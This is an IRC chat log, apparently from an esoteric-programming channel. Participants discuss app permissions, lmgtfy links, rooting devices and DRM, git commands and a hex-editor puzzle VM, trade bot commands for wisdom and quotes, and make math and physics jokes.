20:35:27 <gamemanj> so, if you're too lazy to construct a lmgtfy link...
20:35:43 <gamemanj> does that mean you need a lmlmgtfyfy link?
20:35:52 <int-e> gamemanj: basically "inte" is a swedish word, meaning "not"... so that gave rise to the first sentence, and I pretty much gave you all information that is required to guess its meaning...
20:36:20 <int-e> gamemanj: perhaps
20:36:23 <Phantom_Hoover> int-e, are you... swedish
20:36:41 <int-e> Phantom_Hoover: ...
20:36:56 <gamemanj> (for future reference, I do not know Swedish, but I know Swedish text when I see it, and I also know that spräk means language.)
20:37:00 <int-e> well, no.
20:37:05 <Phantom_Hoover> int-e, don't play games with me this is serious!
20:37:07 <Phantom_Hoover> ok goo
20:37:08 <Phantom_Hoover> *d
20:37:23 <gamemanj> why would that be a bad thing?
20:37:25 <int-e> I don't know the language either.
20:37:44 <hppavilion[1]> int-e: You're too lazy to make a lmgtfy link?
20:37:56 <gamemanj> hppavilion[1]: I already commented on that.
20:38:13 <gamemanj> hppavilion[1]: The solution is a lmlmgtfyfy link.
20:38:31 <int-e> it's funny because it's meta
20:38:42 <int-e> or, meta-meta, really.
20:38:43 <\oren\> or a mklmgtfy command
20:39:23 <int-e> @google twitter command line client linux
20:39:24 <lambdabot> http://www.tecmint.com/rainbow-stream-command-line-twitter-client-linux/
20:39:24 <lambdabot> Title: Rainbow Stream - An Advanced Command-line Twitter Client for Linux
20:39:56 <int-e> @lmgtfy help
20:39:56 <lambdabot> Unknown command, try @list
20:40:06 <int-e> clearly there's room for improvement there
20:40:15 <\oren\> i always[assumed int-e was a variable declaration
20:40:27 <shachaf> \oren\: I tried to use SoundHound but it didn't work.
20:40:31 <shachaf> Ever.
20:40:47 <shachaf> You're supposed to be able to hum into it to find a name for a melody, right?
20:41:26 <\oren\> yes. although it only works if youre good at humming i find
20:41:42 <gamemanj> now I want to try soundhound
20:41:48 <gamemanj> with really obscure songs
20:42:39 <hppavilion[1]> OK
20:42:45 <gamemanj> "[translation] both our infinite dreams and our sketched out future..."
20:42:54 <hppavilion[1]> `lmg shell-based twitter client
20:42:55 <HackEgo> http://lmgtfy.com/?q=shell-based+twitter+client
20:43:03 <hppavilion[1]> Probably not perfect, but it works at least a little
20:43:14 <\oren\> liquid mineral gas?
20:43:29 <hppavilion[1]> (It won't substitute special characters with %-codes, but it will at least deal with spaces)
20:43:31 <hppavilion[1]> \oren\: Yeah, sure
20:43:44 <int-e> ludicrous mind games
20:43:51 <hppavilion[1]> int-e: You're welcome
20:44:03 <int-e> thanks
20:44:06 <gamemanj> ...soundhound wants access to: Location, Files, Microphone, Wi-Fi connection information, Device ID and call information...
20:44:14 <gamemanj> there are 4 of those which should not be in that list
20:44:22 <gamemanj> Location, Files, Device ID and call information
20:44:33 <quintopia> i use bitlbee. does this qualify as a shell-based twitter client?
20:44:42 <quintopia> probs not
20:44:51 <hppavilion[1]> gamemanj: I've always hated apps that request permissions they should not want. I never give them permission to, in most cases
20:45:16 <\oren\> hmmm not sure why it wants those
20:45:19 <gamemanj> Location it just shouldn't have, end of. Files it could possibly have a reason to access if you told it to.
20:45:26 <gamemanj> Microphone it obviously needs.
20:45:40 <gamemanj> Wi-Fi connection information is fine because you don't want it to eat data costs.
20:45:46 <hppavilion[1]> For example, no game should want any permissions. /Maybe/ pictures if it has a built-in screencap capability
20:45:52 <\oren\> location is so it can tell you what oeople near you are listenibg to
20:45:53 <shachaf> Doesn't lmgtfy.com have a "slightly less rude" mode?
20:45:56 <int-e> actually location seems to be the most useful of the four... popular songs vary wildly by country
20:46:02 <hppavilion[1]> shachaf: Does it?
20:46:10 <gamemanj> Wrong - moddable games need some way to give them the Lua files. But it shouldn't have anything else.
20:46:16 <hppavilion[1]> OMG
20:46:19 <hppavilion[1]> There's LMBTFY
20:46:33 <hppavilion[1]> For horrible people
20:46:35 <gamemanj> int-e: That's even worse, since it means it won't find my really obscure song of choice.
20:46:48 <int-e> device id makes no sense at all to me (except for tracking, obviously), and neither do contacts (but I bet there's a "share this find with..." feature)
20:46:58 <int-e> gamemanj: the other 99% of users won't care!
20:47:04 <gamemanj> ...
20:47:07 <gamemanj> hmph
20:47:16 <\oren\> there is sociak media integration yeah
20:47:24 <quintopia> i dont mind games wanting internetty permissions, for scoreboards and the like
20:47:29 <int-e> files... no clue why it wants that
20:47:47 <hppavilion[1]> shachaf: Can't find anything labeled "less rude" or the like
20:47:53 <fizzie> Just about everything seems to want the USB storage permission.
20:47:56 <shachaf> Oh, you add &n=1 to the URL.
20:47:56 <\oren\> it can save songs tpfrom itunes etc
20:47:56 <fizzie> It's v. annoying.
20:48:01 <shachaf> It's slightly less rude that way.
20:48:10 <int-e> big data idea: get a taste for music preferences :P
20:48:16 <gamemanj> There is a theoretical reason that it would want files, so that you can give it music
20:48:29 <gamemanj> without having to play it back into the phone
20:48:45 <gamemanj> Really it's location and device ID that it has no reason for
20:48:53 <\oren\> and you can use it as a music plqyer app
20:48:56 <gamemanj> If I get more calls
20:49:01 <gamemanj> because of this app
20:49:13 <fizzie> At least in M and later you can just turn off those permissions you don't want to give.
20:49:46 <shachaf> Android?
20:49:53 <fizzie> SoundHound seems to work (or at least run) with location, storage and telephone ("phone status and identity") disabled.
20:50:04 <shachaf> Mascarpone isn't even a dessert.
20:51:36 <shachaf> int-e: Well, according to that link, I should use my favourite number + 1.
20:51:38 <int-e> what's wrong is that there's essentially no penalty for apps that ask for excessive permissions.
20:51:42 <\oren\> i only work on Hound though not soundhound, and only the backend
20:51:44 * gamemanj hums "SoundHound Did Not Hear Any Music"
20:51:44 <shachaf> So as to avoid revealing any character defects.
20:51:47 <gamemanj> ...
20:52:29 <fizzie> Oh, the most annoying SoundHound feature I know of: it pops up notifications about songs apparently at random.
20:52:31 <gamemanj> ...
20:52:32 <gamemanj> Wow
20:52:35 <gamemanj> It actually found it
20:52:37 <int-e> so whenever a feature is added that might, in some obscure case, use a certain feature...
20:52:41 <gamemanj> Well done, SoundHound
20:52:46 -!- AnotherTest has joined.
20:53:58 <int-e> so... why doesn't it have accelerometer access... surely that must be useful to compensate for the doppler effect when you drop the phone while humming a song...
20:53:58 <zzo38> But can you set permissions in smaller pieces than that (such as to specify which directories it can see and which one it sees as root of the storage, and which internet services it can access and what proxies to use, and to fake device ID and so on)?
20:54:28 <gamemanj> zzo38: At some point it would become "too difficult for users to use"
20:54:44 <zzo38> Put it into the "Advanced" menu then.
20:54:44 <int-e> (but perhaps you don't have to ask permission for those?)
20:55:02 <\oren\> to difficult for[users to bother doing
20:55:04 <zzo38> Also recalibration of accelerometer per program
20:55:22 <hppavilion[1]> shachaf: What if your favorite number is -1?
20:55:55 <int-e> > [2^n | n <- [0..]] :: [Int8]
20:55:57 <lambdabot> [1,2,4,8,16,32,64,-128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0...
20:56:15 <hppavilion[1]> fungot: What's your favorite number
20:56:15 <fungot> hppavilion[1]: look at the chicago kent symposium which deals with narrow scope of the " round body mustang" and the beatles' " all you need is love" are both in use. fnord ( user fnord)
20:56:16 <hppavilion[1]> ?
20:56:22 <shachaf> What if my favourite number is -1?
20:56:31 <shachaf> I've asked zzo38 what my favourite number is but he won't tell me.
20:56:46 <hppavilion[1]> shachaf: Wait, you use your favorite number + 1 where? According to what link?
20:57:00 <shachaf> The http link I posted above.
20:57:28 <shachaf> It was after you joined.
20:57:42 <fizzie> int-e: You don't need special permissions for the accelerometer. You do need the BODY_SENSORS permission "to access data from sensors that the user uses to measure what is happening inside his/her body, such as heart rate."
20:59:42 <fizzie> Of course in certain situations the accelerometer...
20:59:47 <hppavilion[1]> Ah, I see
21:00:01 <hppavilion[1]> I thought it was on &n=1
21:02:32 -!- AnotherTest has quit (Ping timeout: 272 seconds).
21:06:13 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
21:17:24 <gamemanj> fizzie: eh, there are all sorts of permissions which could be evil in "certain situations"
21:19:10 <zzo38> That is why to add the ability to configure proxies and so on
21:20:05 <gamemanj> If the phone's accelerometer detects a certain special sequence of movements, then it should log this information for future use.
21:20:24 <int-e> "Android keylogger app – powered by accelerometer/gyroscope movements – revealed"
21:20:38 <int-e> 2011.. has it been that long
21:21:32 <olsner> nice, I was thinking about building one of those, glad it's already done so I don't have to
21:25:35 -!- nycs has quit (Read error: Connection reset by peer).
21:27:43 -!- hppavilion[1] has joined.
21:28:16 <hppavilion[1]> Hm...
21:28:34 <hppavilion[1]> The inverse (or something) of the pigeonhole principle is something I haven't heard talked about
21:28:54 <hppavilion[1]> If you have n pigeons in n+1 holes, then there is at least one empty hole
21:28:58 <\oren\> can i use kinect to set a password consisting of poses?
21:29:18 <\oren\> a para para password
21:29:29 <hppavilion[1]> \oren\: If you're willing to root the system, then yes.
21:29:33 <hppavilion[1]> \oren\: Otherwise, maybe
21:31:00 <hppavilion[1]> Honestly, I wonder why there isn't legislation requiring legitimate owners of a computer system to be able to legally and easily (like, easy-to-find-guide-on-the-website easy) root the system.
21:31:41 <hppavilion[1]> Like, I don't see how it can be legal to prevent the legitimate owner of a system from doing whatever the hell they want with that system, as long as they aren't violating other laws in the process
21:34:01 <int-e> hollywood is too strong for that to happen in the US
21:34:21 <int-e> how will you protect movies on hardware that's actually run by its owners?
21:34:43 <int-e> oversimplifying, of course, but DRM is a driving factor behind all this
21:35:16 <zzo38> I was designing the computer machine and had the idea to use a combination of copyright and trademark laws to ensure that anyone who has such a computer (regardless of if it is a clone from another manufacturer or whatever) can legally and easily root the system (although you are unliekly to need to root it to do nearly all things, and to alter ROMs and so on requires a standard screwdriver)
21:35:38 <int-e> and vendors aren't too unhappy about the resulting customer lockin either
21:43:29 <pikhq> It's kinda bizarre how much clout Hollywood has relative to their actual wealth.
21:46:35 <Phantom_Hoover> hppavilion[1], the phrasing of that makes it sound like a tautology
21:46:42 <hppavilion[1]> I love today's xkcd
21:46:58 <hppavilion[1]> Phantom_Hoover: Yes, I know
21:47:41 -!- gamemanj has quit (Ping timeout: 240 seconds).
21:51:51 -!- `^_^v has joined.
21:59:09 -!- jaboja has joined.
22:14:03 -!- idris-bot has quit (Ping timeout: 276 seconds).
22:22:44 -!- `^_^v has quit (Quit: This computer has gone to sleep).
22:41:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
22:48:19 -!- idris-bot has joined.
22:49:04 -!- boily has joined.
23:03:12 -!- PinealGlandOptic has joined.
23:07:31 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
23:07:47 <b_jonas> Is there a low-level git command that prints the .git directory for the current repository, and one that prints the directory associated with the current worktree?
23:08:13 <b_jonas> And I guess one that prints the root directory of the checkout also helps.
23:08:42 <b_jonas> Also, is there a website where I can see the full manual pages of git online, always for a recent version of git (more fresh than what I have installed)? I'm trying to look at https://git-scm.com/docs/git but that seems to be missing some generated part of the git(1) manpage where it lists commands.
23:09:53 -!- Phantom_Hoover has joined.
23:11:12 -!- Phantom_Hoover has quit (Remote host closed the connection).
23:11:33 -!- Phantom_Hoover has joined.
23:14:12 -!- hppavilion[1] has joined.
23:15:10 -!- Sgeo has joined.
23:29:24 -!- Nithogg_ has quit (Ping timeout: 246 seconds).
23:31:53 -!- Elronnd has changed nick to Elronnd\StD.
23:34:04 -!- Nithogg_ has joined.
23:40:26 <fizzie> b_jonas: git rev-parse --show-toplevel
23:41:30 <fizzie> b_jonas: I meant: git rev-parse --git-dir
23:41:38 <fizzie> For the .git directory.
23:44:17 <fizzie> A bit curiously there seems to be no corresponding rev-parse option to show the GIT_WORK_TREE.
23:45:40 <fizzie> Maybe that's what the "top-level directory" means in this context.
23:56:35 <boily> `wisdom
23:56:56 <HackEgo> lystrosaur//The lystrosaurs were an ancient genus of evil reptiles who successfully took over the world in the early Triassic.
2016-06-02
00:18:02 <tswett> > log (1.7 * 10**38)
00:18:03 <lambdabot> 88.02886178483591
00:18:08 <tswett> > exp 88 :: Float
00:18:10 <lambdabot> 1.6516363e38
00:18:18 <tswett> > exp 89 :: Float
00:18:21 <lambdabot> Infinity
00:19:16 <Sgeo> comex... isn't here
00:19:17 <Sgeo> Blah
00:19:31 <\oren\> what the heck is "Jan Mayen"
00:20:33 <quintopia> bon joily
00:20:56 <quintopia> (hurray for daytime that extents until 9pm)
00:21:49 <shachaf> `wisdom
00:22:11 <HackEgo> off by two//An off by two error is what happens when you expect an off by one error but compensate in the wrong direction.
00:22:13 <quintopia> `? infinity
00:22:18 <HackEgo> infinity? ¯\(°​_o)/¯
00:23:04 -!- dos has joined.
00:24:47 <quintopia> hmm. it is suddenly very important that i create an esolang such that "being locked in a matrix of solidity" is meaningful in terms of describing program state
00:25:14 <shachaf> `le/rn infinity/In finity we trust.
00:25:19 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
00:25:29 <HackEgo> Learned «infinity»
00:26:06 <quintopia> `le/rn finity/Enjoy being locked in your matrix of finity.
00:26:13 <HackEgo> Learned «finity»
00:26:48 -!- hppavilion[1] has joined.
00:27:23 <quintopia> hppavellon[1]
00:29:10 -!- dos has quit (Ping timeout: 252 seconds).
00:31:38 -!- Koen_ has joined.
00:31:52 <quintopia> seems like he's having lots of them connection issues
00:32:09 <quintopia> hi koen
00:34:41 <Koen_> hi quintopia
00:34:55 <Koen_> connection tissues are important
00:38:52 <quintopia> only if they help with the issues
00:41:15 <tswett> `? shakespeare
00:41:21 <HackEgo> shakespeare? ¯\(°​_o)/¯
00:41:25 <tswett> `le/rn shakespeare/And besicue and a saint and son the may bean the butcious and one them bear and may me for here the mance of my lord, and leave and thou arl of the prince and will not and and hour blood and the be buralont;
00:41:28 <HackEgo> Learned «shakespeare»
00:42:14 <Koen_> tswett: is your keyboard drunk?
00:46:13 <boily> bonsointopia!
00:48:45 <quintopia> it turned from day to evening in the time it took you to reply
00:50:22 <tswett> No no, that's from one of Shakespeare's plays.
00:51:25 <shachaf> No, it's from your matrix multiplier.
00:51:30 <tswett> A relatively obscure one: "The Man the Confent and the Confent and the Man the Man and the Man".
00:51:41 <tswett> Okay, I confess, it's from my matrix multiplier.
00:51:41 <shachaf> I don't think your thing is refined enough to go in wisdom/ yet.
00:52:00 <coppro> `addquote <shachaf> I don't think your thing is refined enough to go in wisdom/ yet.
00:52:03 <HackEgo> 1281) <shachaf> I don't think your thing is refined enough to go in wisdom/ yet.
00:52:07 <quintopia> is it just a shakespearean markov chain?
00:52:22 <shachaf> coppro: Did you see the discussion in #haskell about copprofunctors?
00:53:52 <coppro> slightly
00:55:07 <tswett> quintopia: no, it's a neural net.
00:55:22 <shachaf> No, it's an artificial neural network.
00:55:30 <Phantom_Hoover> ugh, okay, one last time:
00:55:41 <Phantom_Hoover> has anyone else in this channel looked at http://skullcode.com/ before?
00:57:05 <shachaf> Is that viewer thing looking at its own memory?
00:59:00 -!- PinealGlandOptic has quit (Ping timeout: 260 seconds).
00:59:40 <Koen_> Phantom_Hoover: is that some kind of mastermind-like riddle?
01:00:17 <Phantom_Hoover> something like that, it's a 32-bit VM with a hex editor loaded into it
01:01:10 <Phantom_Hoover> but if you scroll down to the address 00006666 there's a graphic with an exclamation mark in it, and if you overwrite that exclamation mark with a space or NUL then stuff starts happening
01:02:24 <fizzie> http://skullcode.com/bootstrap/hexboot.txt if you want to play the more dangerous game than just mess around in the browser.
01:03:02 <Phantom_Hoover> that thing's for x86, though, and a lot smaller than skullcode; it's a spiritual predecessor
01:05:28 <Phantom_Hoover> there's a block of encrypted data from 61b0 to 65b0; it's pretty easy to play along with it and get a password that'll decrypt the first 32 bytes, but i have no clue how to get at the rest
01:12:22 <Phantom_Hoover> i wrote a disassembler if anyone's interested
01:23:46 -!- oerjan has joined.
01:24:55 <oerjan> zhoily.
01:26:09 <oerjan> @tell int-e <int-e> I think GND is still not considered to be SafeHaskell anyway. <-- oh right.
01:26:10 <lambdabot> Consider it noted.
01:26:46 <oerjan> @tell int-e anyway, turns out there's probably no exploit there.
01:26:46 <lambdabot> Consider it noted.
01:27:48 <boily> oerjan: GND is the opposite end from Vcc hth
01:28:35 <boily> fungot: do you do electronics?
01:28:35 <fungot> boily: this is not the other way around... fnord/ home
01:28:45 <boily> fungot: apparently not.
01:28:45 <fungot> boily: i'm editing this down. user:guernseykidguernseykid 03:54, 26 june 2006 ( utc). small—preceding wikipedia:signaturesunsigned comment added by special:contributions/ fnord)
01:28:59 <oerjan> boily: wat
01:29:47 <boily> oerjan: when designing circuits, you have Vcc on one end, and GND at the other end. stuff go between them.
01:29:55 <oerjan> hm
01:30:09 * oerjan doesn't really do electronics, obviously.
01:32:24 <boily> electronics aren't very much more complicated than that. Vcc is the plus end on your battery. I give you two tries to match what GND is :P
01:32:51 <quintopia> boily: you heard about super mario bros being pspace-complete?
01:32:56 <boily> nowadays, it's like: read the spreadsheet, supply the correct voltage, ?????, profit.
01:32:59 <quintopia> wish i could find a preprint
01:33:01 <boily> quintopia: eh?
01:33:22 <boily> s/spread/spec/. damned time spent doing excel.
01:33:36 <oerjan> boily: i had already guessed what GND is.
01:33:42 <quintopia> boily: turns out you can make arbitrary circuits by opening or closing pathways by jumping to bump spinies on one or another side of a brick barrier
01:34:27 * boily is intrigued
01:34:35 <quintopia> me too
01:34:47 <quintopia> but the paper isn't presented until next week, and it isn't available anywhere
01:34:59 <boily> not even on arxiv?
01:36:12 <oerjan> <hppavilion[1]> The horror <-- i get the impression hppavilion[1] is a bit sensitive.
01:36:50 <quintopia> nope
01:37:00 * boily horrifies hppavilion[1] with a pluridimensional mapole
01:46:36 <shachaf> `wisdom usual
01:46:39 <HackEgo> usual suspect//There are 3.99 usual suspects in #esoteric, but they're usually rounded up.
01:46:46 -!- quintopia has changed nick to Quintopia.
01:50:52 <oerjan> `culprits wisdom/usual
01:51:00 <HackEgo> No output.
01:51:06 <oerjan> `culprits wisdom/usual suspect
01:51:15 <HackEgo> shachaf shachaf
01:51:38 <oerjan> i am conflicted.
01:51:42 <Quintopia> shachaf is the usual suspect
01:52:12 <oerjan> on the one hand, that deserves a swat, on the other i didn't get the pun until now.
01:52:36 * oerjan gives shachaf an IOU for a swat.
01:53:06 <shachaf> oerjan: Wait, you didn't get the pun until now?
01:53:11 <oerjan> correct.
01:53:13 <shachaf> That explains why I wasn't swatted.
01:53:22 <shachaf> I thought for sure that one would earn me a swat.
01:54:31 <Phantom_Hoover> i take it nobody else is very interested in skullcode then
01:54:34 <Quintopia> oerjan: do you have a mobile internettified swatter?
01:55:42 <oerjan> that's too many buzzwords tdnh
01:57:31 <Koen_> also too many acronyms
01:57:51 <Quintopia> you should try the new iSwatter. comes in a tall glass!
01:58:25 <Koen_> (what pun?)
01:59:24 <shachaf> Did you see _Casablanca_?
01:59:30 <oerjan> Koen_: in the wisdom hth
02:00:26 <Koen_> is that because round up might mean two things?
02:00:42 <oerjan> ...yes.
02:02:08 -!- Kaynato has quit (Quit: Leaving).
02:06:23 -!- Phantom_Hoover has quit (Remote host closed the connection).
02:07:37 <Quintopia> :(
02:07:59 <oerjan> problems?
02:09:20 <Quintopia> yes. i can't install/upgrade vmail because of a problem with its gem dependencies. i don't know enough about ruby and gems to fix it.
02:10:47 <oerjan> neither do i.
02:21:36 <oerjan> `` ls wisdom/*zout*
02:21:44 <HackEgo> wisdom/bezout \ wisdom/bézout \ wisdom/bezout's \ wisdom/bézout's \ wisdom/bezout's theorem \ wisdom/bézout's theorem
02:22:02 <oerjan> `culprits wisdom/bezout
02:22:08 <oerjan> `culprits wisdom/bézout
02:22:09 <HackEgo> b_jonas
02:22:14 <HackEgo> b_jonas
02:22:16 <oerjan> `culprits wisdom/bezout's
02:22:16 <Quintopia> also it appears that i can't install vim with clientserver flag enabled (or compile it from source) without installing most of gnome?
02:22:21 <HackEgo> b_jonas
02:22:24 <oerjan> `culprits wisdom/bézout's
02:22:28 <HackEgo> b_jonas
02:22:34 <oerjan> `culprits wisdom/bézout's theorem
02:22:38 <oerjan> `culprits wisdom/bezout's theorem
02:22:42 <HackEgo> b_jonas
02:22:47 <HackEgo> b_jonas
02:23:30 <oerjan> `` rm -v wisdom/b{e,é}zout{,\'s}
02:23:35 <HackEgo> removed `wisdom/bezout' \ removed `wisdom/bezout\'s' \ removed `wisdom/bézout' \ removed `wisdom/bézout\'s'
02:24:04 <oerjan> @tell b_jonas seriously, don't make 6 copies of the same wisdom entry.
02:24:04 <lambdabot> Consider it noted.
02:26:47 <shachaf> `? bezout's theorem
02:26:49 <HackEgo> Bézout's theorem says that if a system of polynomial equations over the complexes has as many variables as equations, then in the general case the number of solutions it has is equal to the product of one less than the degrees of the polynomials.
02:26:52 <Quintopia> what if they were symbolic links?
02:26:58 <shachaf> What?
02:27:08 <oerjan> Quintopia: sadly, symbolic links sometimes get broken.
02:27:13 -!- spiette has quit (Quit: :qa!).
02:27:18 <oerjan> by `reverts.
02:27:30 -!- boily has quit (Quit: TIGHT CHICKEN).
02:29:21 <oerjan> (not that i care in this case, it's a crappy entry.)
02:29:30 <tswett> Ī keep forgetting about mȳ macron propōsal.
02:29:58 <tswett> Whȳ dōn't Ī tȳpe līke this all the tīme?
02:34:04 <hppavilion[1]> oerjan: I forget, what was I horrified about?
02:34:19 <oerjan> hppavilion[1]: goat sex hth
02:34:20 <hppavilion[1]> Ah, yes
02:34:24 <hppavilion[1]> I remember now
03:33:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
03:36:13 <tswett> Kinda interesting looking at video memory in a hex editor.
03:37:25 <tswett> The thing is, of course, you're looking at a display of the display. Like pointing a TV camera at the TV that's showing the signal.
03:43:13 * oerjan soundly swats shachaf -----###
03:44:05 <shachaf> delayed-action logreading
03:44:39 <oerjan> the speed of sound isn't that great
03:45:09 <shachaf> i,i faster than the speed of sound in a vacuum
03:51:15 <oerjan> @tell gamemanj spräk does not mean language hth
03:51:15 <lambdabot> Consider it noted.
03:54:31 <tswett> `? i,i
03:54:41 <HackEgo> i,i i,i what is i,i
03:55:37 -!- hppavilion[1] has joined.
04:00:54 <shachaf> tswett: ask rntz hth
04:01:11 <shachaf> I never know what it actually stands for.
04:11:34 <HackEgo> [wiki] [[Z]] https://esolangs.org/w/index.php?diff=47098&oldid=47066 * 71.202.114.203 * (+129)
04:16:52 -!- jaboja has quit (Ping timeout: 260 seconds).
04:22:20 <hppavilion[1]> Oooh
04:22:24 <hppavilion[1]> Subfactorial is a thing
04:26:41 <hppavilion[1]> 5-3=-15
04:32:11 -!- Koen_ has quit (Quit: Leaving...).
04:42:13 <\oren\> what is the inverse of factorial called?
04:42:31 <shachaf> fictionorial
04:51:38 -!- lambda-11235 has quit (Read error: Connection reset by peer).
04:54:39 <hppavilion[1]> ..huh
04:54:44 <hppavilion[1]> *...
04:54:57 <hppavilion[1]> Atoms literally pass through each other when going fast enough
04:55:05 <hppavilion[1]> That's it, I'm convinced. The universe is a simulation.
04:55:11 <hppavilion[1]> And a rather poorly-made one at that
05:01:50 -!- lambda-11235 has joined.
05:04:44 <oerjan> `quote 1281
05:04:46 <HackEgo> 1281) <shachaf> I don't think your thing is refined enough to go in wisdom/ yet.
05:05:02 <shachaf> `delquote 1281
05:05:11 <HackEgo> ​*poof* <shachaf> I don't think your thing is refined enough to go in wisdom/ yet.
05:05:16 <shachaf> see, now you don't even need to worry about the double space
05:05:19 <oerjan> OKAY
05:10:34 <hppavilion[1]> shachaf: You're only allowed to delete quotes after reading at least 5 quotes hth
05:11:18 <hppavilion[1]> (As in, for every 5 quotes you read in a 1-hour timespan, you may delete one of the quotes that you read)
05:12:46 <shachaf> `sled hppavilion[1]///./d
05:12:51 <HackEgo> Rosebud!
05:13:11 <shachaf> oerjan: have you considered that some people don't want to have movie spoilers right in HackEgo hth
05:15:37 <oerjan> no.
05:15:41 <coppro> tdh
05:16:07 <shachaf> For example a decade ago I didn't even know about that spoiler.
05:16:10 <hppavilion[1]> shachaf: Wait, what? How does sled work again?
05:16:23 <oerjan> hppavilion[1]: i don't think that rule applies to very recent quotes hth
05:16:31 <hppavilion[1]> oerjan: Oh, right
05:16:55 <shachaf> `quote do they work.*zzo38
05:16:56 <HackEgo> 1056) <shachaf> Hmm, is an Electronic Signature in a PDF file a thing? <shachaf> How do they work? <zzo38> [1] Yes. [2] It doesn't.
05:19:22 <oerjan> hppavilion[1]: it lets you apply a sed script to a file hth
05:19:31 <hppavilion[1]> oerjan: Oh?
05:19:58 <hppavilion[1]> "This is generation 0. Every time you see this line in a signature, if your signature does not already contain such a line, add this line to your signature with the count multiplied by i and incremented by 1"
05:20:23 <oerjan> `sled canary//s/ø/ꙮ/
05:20:24 <HackEgo> canary//test
05:20:27 <oerjan> oops
05:20:37 <oerjan> someone's changed it
05:20:48 <shachaf> `mv canary tmp
05:20:49 <HackEgo> mv: missing destination file operand after `canary tmp' \ Try `mv --help' for more information.
05:21:17 <shachaf> `cp canary tmp
05:21:18 <HackEgo> cp: missing destination file operand after `canary tmp' \ Try `cp --help' for more information.
05:21:29 <oerjan> `sled canary//s/e/ꙮ/
05:21:32 <HackEgo> canary//tꙮst
05:21:39 <\oren\> `quote canary
05:21:40 <HackEgo> No output.
05:23:13 <hppavilion[1]> The first 100 possibilities are 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i 1+0i 1+1i 1i 0i
05:23:19 <hppavilion[1]> Much less interesting than I thought
05:23:47 <\oren\> `quote hpp
05:23:48 <HackEgo> 1244) <ais523> hppavilion1: there's not much point in `addquoting an `addquote unless the person who added it was somehow significant, or there's interesting context <ais523> because you can tell it was added from the fact that it's there \ 1255) <shachaf> What is an esolang? <hppavilion[1]> shachaf: It's an archaic term for an Esolang \ 1256) <h
05:24:24 <\oren\> `quote hach
05:24:25 <oerjan> hppavilion[1]: looks a bit repetive
05:24:26 <HackEgo> 598) <shachaf> VMS Mosaic? <shachaf> I hope that's not Mosaic ported to VMS. <shachaf> Hmm. It's Mosaic ported to VMS. \ 608) * Sgeo|web wants to see elliott be wrong about something <elliott> Sgeo|web: That literally never happens. <shachaf> Sgeo|web: There you go. A great example. \ 612) <shachaf> You should get kmc in this channel. kmc has g
05:24:41 <shachaf> `quote 612
05:24:41 <hppavilion[1]> oerjan: Yes, it does
05:24:42 <HackEgo> 612) <shachaf> You should get kmc in this channel. kmc has good quotes. <shachaf> `quote kmc <HackEgo> 686) <kmc> COCKS [...] <kmc> truly cocks <shachaf> Well, in theory.
05:25:08 <hppavilion[1]> oerjan: I should probably think about complex numbers before using them.
05:25:24 <shachaf> First figure out the mplex numbers.
05:25:44 <shachaf> Or you can figure out the simplex numbers.
05:25:51 <hppavilion[1]> shachaf: Those are the split-complexes, aren't they?
05:26:03 <shachaf> Maybe a simplicial complex is made out of a simplex number and a complex number.
05:26:38 <shachaf> ørjan is an expert in simplicial complexes and homology and all sorts of things
05:26:42 <hppavilion[1]> shachaf: I do like smashing together different types of complex
05:26:45 <shachaf> I bet he's taught oerjan a thing or two.
05:26:50 <shachaf> @google simplicial complex
05:26:51 <lambdabot> https://en.wikipedia.org/wiki/Simplicial_complex
05:26:53 <hppavilion[1]> like a+bi+cj+dij
05:27:34 <oerjan> hppavilion[1]: aren't you confusing complexes and hadrons
05:27:58 <\oren\> Agh everything is exploding
05:27:59 <hppavilion[1]> oerjan: What's a hadron? As in, the large kind that we like colliding?
05:28:18 <coppro> they aren't that large
05:28:25 <oerjan> indeed they're not
05:28:35 <oerjan> they're larger than electrons, though
05:28:38 <coppro> true
05:28:45 <coppro> it's all relative; good thing we have theories to handle that
05:28:50 <oerjan> well, by mass.
05:28:59 <hppavilion[1]> coppro: Um, then why do we have a machine to collide large hadrons?
05:29:11 <coppro> hppavilion[1]: because who doesn't like exotic explosions?
05:29:35 <\oren\> I don't like it when my fuel tanks explode
05:29:51 <hppavilion[1]> coppro: No one, but if hadrons weren't large, then a collider for large hadrons wouldn't be able to make exotic explosions.
05:30:01 <hppavilion[1]> Because there wouldn't be anything to collide
05:30:16 <coppro> true
05:30:29 <coppro> it's all got to do with the theory of relativity
05:30:38 <coppro> at relativistic speeds, hadrons are relatively large
05:30:40 <hppavilion[1]> Being able to use dvorak at a wpm so high you need scientific notation to express it is useless when you're at a qwerty keyboard
05:30:50 <coppro> that's why the collider needs to get them going so fast
05:31:22 <hppavilion[1]> I prefer the obscene hardon collider myself, though
05:31:38 <oerjan> we were trying not to make that joke, hppavilion[1]
05:31:48 <hppavilion[1]> oerjan: I was too, but I failed
05:32:05 <hppavilion[1]> oerjan: I at least found a mildly funny context for it
05:32:08 <coppro> fun fact: the LHC beam has about 362 MJ in it during the course of normal operation
05:32:32 <coppro> that's about $18 of electricity
05:32:32 <hppavilion[1]> coppro: Meh. I prefer HJ-scale colliders
05:32:53 <oerjan> those are some expensive dollars
05:33:00 <hppavilion[1]> oerjan: Yes
05:33:42 <coppro> HJ?
05:34:23 <oerjan> don't answer that.
05:34:38 <coppro> ohhh
05:34:45 <hppavilion[1]> coppro: Hellajoule
05:35:19 * oerjan realizes he has a dirtier mind than hppavilion[1], then implodes.
05:35:24 <hppavilion[1]> oerjan: What? Do you have something against hellajoules, or did you think it was another pointless joke?
